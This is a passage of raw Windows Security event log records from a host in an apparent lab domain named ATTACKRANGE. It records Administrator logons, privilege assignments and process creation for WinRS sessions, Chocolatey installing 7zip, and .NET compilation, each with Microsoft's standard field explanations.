ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D373 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246213 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246212 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb30 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246210 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246209 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246208 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246207 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246206 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246205 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D007 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246204 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246235 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246234 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246233 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe30 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES62FB.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCCF28D845EEA54A2F9E1C8C40ECB18E11.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246232 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EFE6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246231 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8EFE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246230 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246229 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x888 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246236 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x888 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb4 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" install 7zip --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe install 7zip --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246240 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x434 - New Process Name: C:\ProgramData\chocolatey\lib\7zip.install\tools\7zip_x64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb4 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\lib\7zip.install\tools\7zip_x64.exe" /S - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246246 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246245 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb4 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246244 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D05D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe24 - Creator Process Name: 